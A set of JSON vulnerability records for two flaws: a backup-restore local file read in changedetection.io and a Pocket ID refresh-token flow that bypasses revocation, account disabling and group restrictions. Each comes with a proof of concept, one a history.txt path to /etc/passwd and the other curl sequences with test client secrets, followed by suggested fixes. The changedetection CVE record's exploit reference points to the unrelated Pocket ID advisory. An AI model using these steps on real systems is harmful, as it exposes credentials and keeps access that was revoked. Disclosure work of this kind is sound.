{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-43891",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-13T14:36:12.119506Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-13T14:36:51.163Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-w6p7-2fxx-4f44"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "changedetection.io",
          "vendor": "dgtlmoon",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.55.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "changedetection.io is a free open source web page change detection tool. Prior to 0.55.1, the vulnerability is caused by trusting attacker-controlled snapshot paths restored from backup files. The vulnerable flow starts in the backup restore logic. When a backup ZIP is restored, the application extracts the archive and copies each restored watch UUID directory directly into the live datastore using shutil.copytree(entry.path, dst_dir). This preserves attacker-controlled files inside the restored watch directory, including history.txt. After restore, the application parses history.txt in the watch history property and  returns the contents of the targeted local file. This vulnerability is fixed in 0.55.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-73",
              "description": "CWE-73: External Control of File Name or Path",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-12T16:56:33.823Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-8757-69j2-hx56",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-8757-69j2-hx56"
        }
      ],
      "source": {
        "advisory": "GHSA-8757-69j2-hx56",
        "discovery": "UNKNOWN"
      },
      "title": "changedetection.io: Arbitrary Local File Read via crafted backup restore"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-43891",
    "datePublished": "2026-05-12T16:56:33.823Z",
    "dateReserved": "2026-05-04T15:17:09.330Z",
    "dateUpdated": "2026-05-13T14:36:51.163Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.54.10"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.55.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:16:21Z",
    "nvd_published_at": "2026-05-12T18:17:28Z",
    "severity": "HIGH"
  },
  "details": "### Details\nThe vulnerability is caused by trusting attacker-controlled snapshot paths restored from backup files.\n\nThe vulnerable flow starts in the backup restore logic. When a backup ZIP is restored, the application extracts the archive and copies each restored watch UUID directory directly into the live datastore using `shutil.copytree(entry.path, dst_dir)`. This preserves attacker-controlled files inside the restored watch directory, including `history.txt`.\n\nRelevant code:\n- [changedetectionio/blueprint/backups/restore.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/blueprint/backups/restore.py#L132)\n- [changedetectionio/blueprint/backups/restore.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/blueprint/backups/restore.py#L141)\n\nAfter restore, the application parses `history.txt` in the watch `history` property. This is the core trust-boundary issue.\n\nRelevant code:\n- [changedetectionio/model/Watch.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L460)\n- [changedetectionio/model/Watch.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L471)\n- [changedetectionio/model/Watch.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L478)\n\nThe relevant logic is effectively:\n\n```python\nif os.sep not in v and \u0027/\u0027 not in v and \u0027\\\\\u0027 not in v:\n    v = os.path.join(self.data_dir, v)\nelse:\n    snapshot_fname = os.path.basename(v)\n    proposed_new_path = os.path.join(self.data_dir, snapshot_fname)\n    if not os.path.exists(v) and os.path.exists(proposed_new_path):\n        v = proposed_new_path\n```\n\nThis has the following security consequence:\n\n- If the `history.txt` value is only a filename, it is resolved safely under `self.data_dir`.\n- If the value contains path separators, it is treated as a path reference rather than a watch-local snapshot name.\n- If that external path already exists, it is preserved unchanged.\n\nAs a result, a malicious restored `history.txt` entry such as:\n\n`1776969105,/etc/passwd`\n\nwill be accepted if the referenced file exists and is readable by the application process.\n\nThe second vulnerable step is in `get_history_snapshot()`. Once the untrusted path has been accepted into the watch history, the application reads the resolved path directly without enforcing that it remains inside the watch directory.\n\nRelevant code:\n- [changedetectionio/model/Watch.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L554)\n\nThat function eventually performs direct file reads such as:\n\n```python\nwith open(filepath, \u0027r\u0027, encoding=\u0027utf-8\u0027, errors=\u0027ignore\u0027) as f:\n    return f.read()\n```\n\nThe third step is reachability. The trusted history entry is consumed by both the Preview UI and the watch history API.\n\nRelevant code:\n- [changedetectionio/blueprint/ui/preview.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/blueprint/ui/preview.py#L77)\n- [changedetectionio/api/Watch.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/api/Watch.py#L263)\n\nIn the Preview flow, the application selects the latest history timestamp and calls:\n\n```python\ncontent = watch.get_history_snapshot(timestamp=timestamp)\n```\n\nIn the API flow, the application also calls:\n\n```python\ncontent = watch.get_history_snapshot(timestamp=timestamp)\n```\n\nThis creates the following end-to-end exploit chain:\n\n1. An attacker supplies a crafted backup ZIP.\n2. The restore process preserves attacker-controlled `history.txt`.\n3. The `history.txt` parser accepts an absolute or out-of-directory path if that path exists.\n4. Preview or the history API dereferences the stored path directly.\n5. The application returns the contents of the targeted local file.\n\nThe root cause is that imported history entries are treated as trusted filesystem paths instead of being restricted to safe basenames under `watch.data_dir`.\n\n\n### PoC\nThe following proof of concept demonstrates the end-to-end exploit chain. It assumes the attacker has gained access to the backup restore functionality to upload the crafted archive.\n\n1. Create a normal watch in the UI, for example:\n```text\nhttps://example.com\n```\n\n2. Trigger at least one successful check so the watch generates a valid history entry and can later be included in a backup.\n\n\u003cimg width=\"1230\" height=\"587\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a76302c9-48d6-4aa3-9bfc-0ba2fdb31156\" /\u003e\n\n3. Go to the `Backups` section and create a backup archive.\n\n\u003cimg width=\"1232\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8fef0444-d8f0-4db6-be75-04fa7db2fec8\" /\u003e\n\n4. Extract the backup archive and identify the watch UUID directory that contains the target watch\u0027s `watch.json`. For example:\n```text\n5db3d3d8-71e6-4db2-a81e-e1f0445c3e47\n```\n\n5. Open that watch directory and edit `history.txt`.\n\n6. Replace the latest history entry with a path to an existing local file that is readable by the application process. For example:\n```text\n1776969188,/etc/passwd\n```\n\nIf the timestamp differs in the extracted backup, keep the original latest timestamp and only replace the filename/path portion.\n\nExample:\n```text\n1776969188,742215043ff9be7e635f05e680ff9b11.txt\n```\n\nbecomes:\n\n```text\n1776969188,/etc/passwd\n```\n\n\u003cimg width=\"1139\" height=\"366\" alt=\"image\" src=\"https://github.com/user-attachments/assets/07277b36-4747-4181-82d1-523385b40de3\" /\u003e\n\n7. Repack the backup so that the UUID directories are located at the root of the ZIP archive.\n\nImportant:\n- Do not add an extra parent directory layer when repacking.\n- The archive root should contain directories such as:\n```text\n\u003cwatch-uuid\u003e/\n\u003cgroup-uuid\u003e/\nchangedetection.json\nurl-list.txt\n```\n\n\u003cimg width=\"986\" height=\"353\" alt=\"image\" src=\"https://github.com/user-attachments/assets/21b30368-2cb5-4b88-9055-79d5bf06ad48\" /\u003e\n\n8. In the UI, restore the modified backup and enable replacement of existing watches with the same UUID.\n\n\u003cimg width=\"1229\" height=\"700\" alt=\"image\" src=\"https://github.com/user-attachments/assets/79abd9d2-8b2d-4e08-abf3-3b63238a8055\" /\u003e\n\n9. After restore completes, open `Preview` for the restored watch.\n\n10. The application will read the attacker-controlled path from `history.txt` and display the contents of the referenced local file instead of the original watch snapshot.\n\nObserved result:\n- The Preview page returns the content of the attacker-selected local file.\n\nExpected result:\n- The application should reject absolute paths or out-of-directory paths restored from `history.txt`.\n- Snapshot history should be restricted to files within the watch\u0027s own data directory.\n\nOptional API verification:\n- The same issue can also be confirmed through the watch history API by requesting the modified timestamp after restore.\n- The API returns the same file content because it also calls `watch.get_history_snapshot(timestamp=timestamp)` on the trusted history entry.\n\n\u003cimg width=\"1233\" height=\"545\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a2814a5a-2cdd-49a1-916b-c956dd5fda1f\" /\u003e\n\n### Impact\nThis is an arbitrary local file disclosure vulnerability reachable through malicious backup restore content.\n\nWho is impacted:\n- Deployments where the application process has read access to sensitive local system files.\n- Docker or host-mounted environments where secrets, config files, or operational artifacts are explicitly readable by the service.\n\nWhat can be exposed:\n- **Arbitrary System Files:** Core operating system files (e.g., `/etc/passwd`, `/proc/self/environ`), system-level configurations, and host metrics.\n- **Application Data:** Internal records and files residing under the /datastore directory.\n- **Secrets \u0026 Artifacts:** Application-local configuration files, API tokens, database credentials, and other sensitive artifacts accessible to the application process.\n\nBy accessing the backup restore functionality and importing a crafted archive, an attacker can exploit the application\u0027s fail-open path validation. The confidentiality impact is exceptionally high because, once the payload is ingested, the application can be manipulated to disclose arbitrary local system files and highly sensitive environment variables directly through standard UI or API responses.\n\n### Recommendation\nThe application should treat all paths restored from `history.txt` as untrusted input.\n\nThe root cause is in [changedetectionio/model/Watch.py](https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L460), where values containing path separators are currently accepted as filesystem paths and preserved if the referenced file already exists.\n\nThe fix should be:\n\n1. Never trust absolute or external paths from `history.txt`.\n2. Normalize every history entry to `os.path.basename(v)`.\n3. Join the normalized filename to `self.data_dir`.\n4. Skip the entry if the resolved file does not exist inside the watch directory.\n\nSuggested code change:\n\n```python\nsnapshot_fname = os.path.basename(v.strip())\nresolved_path = os.path.join(self.data_dir, snapshot_fname)\n\nif not os.path.exists(resolved_path):\n    logger.warning(\n        f\"Skipping unsafe or missing history entry for {self.get(\u0027uuid\u0027)}: {v!r}\"\n    )\n    continue\n\ntmp_history[k] = resolved_path\n```\n\nThis ensures restored history entries can only reference files inside the watch\u0027s own data directory and prevents arbitrary local file reads through Preview or the history API.",
  "id": "GHSA-8757-69j2-hx56",
  "modified": "2026-06-05T14:31:27Z",
  "published": "2026-05-05T21:16:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-8757-69j2-hx56"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-w6p7-2fxx-4f44"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43891"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgtlmoon/changedetection.io"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/changedetection-io/PYSEC-2026-30.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "changedetection.io has an Arbitrary Local File Read via a crafted backup restore"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pocket-id/pocket-id/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260419162744-978ac87deffe"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43983"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T14:12:44Z",
    "nvd_published_at": "2026-05-12T15:16:15Z",
    "severity": "HIGH"
  },
  "details": "# OIDC Refresh Token Flow Bypasses Authorization Revocation, Account Disabling, and Group Restrictions\n\n## Summary\n\nThe `createTokenFromRefreshToken` function (oidc_service.go:451) validates the refresh token\u0027s cryptographic integrity but does not re-validate the user\u0027s current authorization state before issuing new tokens. This allows three bypasses:\n\n1. **Authorization revocation bypass**: After a user revokes an OIDC client\u0027s authorization, the client can continue refreshing tokens indefinitely because `RevokeAuthorizedClient` does not delete associated refresh tokens, and the refresh flow does not check if the authorization record still exists.\n\n2. **Disabled user bypass**: After an admin disables a user account, pre-existing refresh tokens continue to work because the OIDC token endpoint does not check `user.Disabled`. Session-based access is properly blocked by auth middleware, but the OIDC refresh path bypasses it entirely.\n\n3. **Group restriction bypass**: After removing a user from an OIDC client\u0027s allowed user groups, the refresh token continues to work because `createTokenFromRefreshToken` does not call `IsUserGroupAllowedToAuthorize`.\n\nEach refresh rotates the token with a fresh 30-day expiry, enabling perpetual access.\n\n## Target\n\n- **Repository**: pocket-id/pocket-id\n- **Version**: HEAD (626adbf), also affects v2.5.0 and all versions with refresh token support\n\n## Root Cause\n\n`createTokenFromRefreshToken` (oidc_service.go:451-547) performs the following checks on a refresh request:\n\n1. Verify the signed refresh token JWT (line 457) -- **checked**\n2. Verify client credentials (line 467) -- **checked**\n3. Look up stored refresh token by hash, expiry, user_id, client_id (line 478-495) -- **checked**\n4. Verify refresh token belongs to the requesting client (line 498) -- **checked**\n\nIt does NOT check:\n- Whether a `UserAuthorizedOidcClient` record still exists for the user-client pair -- **MISSING**\n- Whether `user.Disabled` is false -- **MISSING**\n- Whether `IsUserGroupAllowedToAuthorize` passes for group-restricted clients -- **MISSING** (groups are loaded at line 481 via `Preload(\"User.UserGroups\")` but never validated)\n\nMeanwhile, `RevokeAuthorizedClient` (line 1445-1471) only deletes the `UserAuthorizedOidcClient` record. It does not delete associated `OidcRefreshToken` records. There is no FK cascade between these tables (the FK cascade on `oidc_refresh_tokens` is only on user DELETE and client DELETE, not on authorization record deletion).\n\n## Proof of Concept (Verified Live)\n\nTested against Pocket ID HEAD (626adbf) running in Docker with e2etest build. All 20 test assertions pass.\n\n### Variant 1: Authorization Revocation Bypass\n\n```bash\n# Reset test DB\ncurl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true\n\n# Authenticate as Tim (admin user, seeded OTA token)\ncurl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV\n\n# Authorize Nextcloud client\nAUTH_CODE=$(curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"clientId\":\"3654a746-35d4-4321-ac61-0bdcff2b4055\",\"scope\":\"openid profile email groups\",\"callbackURL\":\"http://nextcloud/auth/callback\"}\u0027 \\\n  | python3 -c \"import json,sys; print(json.load(sys.stdin)[\u0027code\u0027])\")\n\n# Exchange for tokens (including refresh token)\nTOKENS=$(curl -s -X POST http://localhost:1411/api/oidc/token \\\n  -d \"grant_type=authorization_code\u0026code=$AUTH_CODE\u0026client_id=3654a746-35d4-4321-ac61-0bdcff2b4055\u0026client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY\u0026redirect_uri=http://nextcloud/auth/callback\")\nREFRESH=$(echo $TOKENS | python3 -c \"import json,sys; print(json.load(sys.stdin)[\u0027refresh_token\u0027])\")\n\n# User revokes authorization (returns 204)\ncurl -s -o /dev/null -w \"%{http_code}\" -b cookies.txt \\\n  -X DELETE http://localhost:1411/api/oidc/users/me/authorized-clients/3654a746-35d4-4321-ac61-0bdcff2b4055\n# Output: 204\n\n# ATTACK: Refresh token STILL WORKS after revocation\ncurl -s -X POST http://localhost:1411/api/oidc/token \\\n  -d \"grant_type=refresh_token\u0026refresh_token=$REFRESH\u0026client_id=3654a746-35d4-4321-ac61-0bdcff2b4055\u0026client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY\"\n# Returns 200 with new access_token, id_token (containing PII), and refresh_token (new 30-day expiry)\n```\n\n**Live output**: Introspection confirms `active: true`. ID token contains: `name: Tim Cook, email: tim.cook@test.com, groups: [designers, developers]`.\n\n### Variant 2: Disabled User Bypass\n\n```bash\n# (After setup and obtaining refresh token as above)\n\n# Admin disables Tim\u0027s account\ncurl -s -b cookies.txt -X PUT http://localhost:1411/api/users/f4b89dc2-62fb-46bf-9f5f-c34f4eafe93e \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"disabled\":true,\"username\":\"tim\",\"email\":\"tim.cook@test.com\",\"firstName\":\"Tim\",\"lastName\":\"Cook\",\"isAdmin\":true}\u0027\n# Returns 200 with disabled: true\n\n# Session access properly blocked (auth middleware checks Disabled)\ncurl -s -o /dev/null -w \"%{http_code}\" -b cookies.txt http://localhost:1411/api/users/me\n# Output: 401\n\n# ATTACK: Refresh token STILL WORKS for disabled user\ncurl -s -X POST http://localhost:1411/api/oidc/token \\\n  -d \"grant_type=refresh_token\u0026refresh_token=$REFRESH\u0026client_id=3654a746-35d4-4321-ac61-0bdcff2b4055\u0026client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY\"\n# Returns 200 with full token set\n\n# Userinfo also works for disabled user\ncurl -s -H \"Authorization: Bearer $NEW_ACCESS\" http://localhost:1411/api/oidc/userinfo\n# Returns: {\"name\":\"Tim Cook\",\"email\":\"tim.cook@test.com\",...}\n```\n\n**Impact**: The admin kill switch for terminating employee access is completely bypassed. A fired employee\u0027s pre-existing OIDC refresh tokens continue to grant access to all downstream services.\n\n### Variant 3: Group Restriction Bypass\n\n```bash\n# (After setup, authorize Immich client which is group-restricted to \"designers\")\n# Tim is in designers group, gets authorized and obtains refresh token\n\n# Remove Tim from designers group (keep only Craig)\ncurl -s -b cookies.txt -X PUT http://localhost:1411/api/user-groups/adab18bf-f89d-4087-9ee1-70ff15b48211/users \\\n  -H \"Content-Type: application/json\" -d \u0027{\"userIds\":[\"1cd19686-f9a6-43f4-a41f-14a0bf5b4036\"]}\u0027\n# Tim no longer in designers\n\n# ATTACK: Refresh token STILL WORKS after group removal\n# Returns 200 with new tokens\n```\n\n## Impact\n\nThe three variants share the same root cause but have different real-world implications:\n\n1. **Authorization revocation is ineffective**: Users who revoke an OIDC client\u0027s access have a false sense of security. A malicious or compromised client retains indefinite access to the user\u0027s identity data through token rotation. The id_token issued during refresh contains full PII (name, email, groups, custom claims) regardless of the userinfo endpoint\u0027s authorization check.\n\n2. **Account disabling does not terminate OIDC access**: This is the highest-severity variant. When an organization terminates an employee and disables their Pocket ID account, all session-based access is correctly blocked. But any OIDC client that obtained a refresh token before the disabling continues to have full access. In enterprise environments where Pocket ID gates access to sensitive services (Git, CI/CD, infrastructure), this creates a persistent backdoor.\n\n3. **Group-based access control is only enforced at authorization time**: Group restrictions on OIDC clients (e.g., \"only the infrastructure team can access the CI/CD client\") can be bypassed by anyone who obtained a refresh token before being removed from the group.\n\n## Related\n\nGitHub issue #1390 reports a similar pattern: refresh tokens are not deleted when a session ends via the end-session endpoint. Same root cause (refresh token lifecycle detached from authorization state), different entry point.\n\n## Suggested Fix\n\n### Primary fix: Re-validate authorization state in createTokenFromRefreshToken\n\nAdd the following checks after the refresh token lookup (after line 495):\n\n```go\n// Check 1: Verify user is not disabled\nif storedRefreshToken.User.Disabled {\n    return CreatedTokens{}, \u0026common.OidcInvalidRefreshTokenError{}\n}\n\n// Check 2: Verify UserAuthorizedOidcClient still exists\nvar authorizedClient model.UserAuthorizedOidcClient\nerr = tx.WithContext(ctx).\n    Where(\"user_id = ? AND client_id = ?\", storedRefreshToken.UserID, input.ClientID).\n    First(\u0026authorizedClient).Error\nif errors.Is(err, gorm.ErrRecordNotFound) {\n    // Authorization was revoked - delete this refresh token and reject\n    tx.Delete(\u0026storedRefreshToken)\n    return CreatedTokens{}, \u0026common.OidcInvalidRefreshTokenError{}\n}\n\n// Check 3: Re-verify group restrictions\nif !IsUserGroupAllowedToAuthorize(storedRefreshToken.User, client) {\n    return CreatedTokens{}, \u0026common.OidcAccessDeniedError{}\n}\n```\n\n### Secondary fix: Delete refresh tokens on authorization revocation\n\nIn `RevokeAuthorizedClient`, also delete all refresh tokens for the user-client pair:\n\n```go\n// After deleting the authorized client record\nerr = tx.WithContext(ctx).\n    Where(\"user_id = ? AND client_id = ?\", userID, clientID).\n    Delete(\u0026model.OidcRefreshToken{}).Error\nif err != nil {\n    return err\n}\n```\n\nBoth fixes should be applied together (defense in depth).\n\n## Self-Review\n\n- **Is this by-design?** No. The revocation feature, the disabled flag, and group restrictions all exist to control access. The refresh flow bypassing all three is a bug, not a feature.\n- **Are there upstream bounds?** No. Refresh tokens are stored independently. No FK cascade, no periodic cleanup, no validation of authorization state.\n- **Honest weaknesses**: \n  - Variant 1 (revocation): The attacker must be the OIDC client operator (they need client credentials and existing refresh token). Userinfo endpoint does return 404 after revocation, which is a partial mitigation. But the id_token issued during refresh already contains all PII.\n  - All variants: Requires a pre-existing refresh token, so the access must have been legitimately granted at some point.\n- **Existing reports**: Issue #1390 covers the related end-session case. No prior security reports for the revocation/disabled/group variants.\n\n\nKoda Reef",
  "id": "GHSA-w6p7-2fxx-4f44",
  "modified": "2026-07-28T14:12:44Z",
  "published": "2026-07-28T14:12:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-w6p7-2fxx-4f44"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43983"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pocket-id/pocket-id/commit/978ac87deffec58beaccd15aead975e91b94c8a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pocket-id/pocket-id"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pocket-id/pocket-id/releases/tag/v2.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions"
}